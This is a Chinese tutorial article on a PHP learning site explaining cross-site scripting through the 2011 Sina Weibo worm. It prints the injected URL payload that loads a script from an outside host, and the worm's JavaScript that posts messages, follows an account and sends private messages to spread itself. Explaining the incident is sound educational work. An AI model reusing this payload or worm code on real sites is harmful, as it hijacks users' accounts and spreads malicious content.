来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞,它允...
XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
Xss的例子(以新浪微博的6.9的hellosamy蠕虫事件为例): sina的名人堂页面页面上存在这么个链接 <a href="http://weibo.com/pub/star/g/123">这个是xss</a> 其实在服务器端是这么写的(猜测,真实代码长啥样不知道,但是一定是忘记做转义就输出了): Echo '<a href="http://weibo.com/pub/star/g/{$uname}">这个是xss</a>' 其中uname并没有做htmlspecialchars。相当于是直接由用户输入,然后输出在页面上了。 这样的html就是存在xss漏洞 好了,这个漏洞被发现了,下面要利用它做什么呢? 1 将uname设置成xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update 这样这个url就变成了 其中的引号被封闭了,然后这个页面自动运行了一段js脚本 这个js脚本做了这样的事情: 1 发送一个微博(这个是之所以成为蠕虫的原因,这个微博中附带着同样的一个连接) 2 加关注uid为2201270010 3 发私信,向好友传播链接 js的下载代码在http://www.stwind.org/wp-content/uploads/2011/06/06.28_sina_XSS.txt.zip try{ x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x); } catch(e){} main(); var t=setTimeout('location="http://weibo.com/pub/topic";',5000); 其中就是在打开的页面加入了<script节点>,并执行 main中是发送微博,加关注,发私信三个动作 当5000秒后,当前页重新定位到public/topic上 function main(){ try{ publish(); } catch(e){} try{ follow(); } catch(e){} try{ message(); } catch(e){} } 比如 ? function publish(){ url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime(); data = 'content=' + random_msg() + '&pic=&styleid=2&retcode='; post(url,data,true); } 模拟post请求,由于这个js是在weibo网页上调用的,所以就没有跨域问题 直接post就可以产生这个效果 注:这次事件中还用到了短链接服务 短链接服务能自定义用户链接,比如http://weibo.com/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update 这么长一个链接能变为http://t.cn/atmcqn 这样能增加用户的点击成功率 事实证明,建站是需要非常小心的,每个页面,每个输出,如果有一两个漏洞,都可能造成全站的大灾难!!引以为戒! 相关有用的链接地址: http://www.2cto.com/Article/201110/107620.html ---------------------- 作者:yjf512(轩脉刃) |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com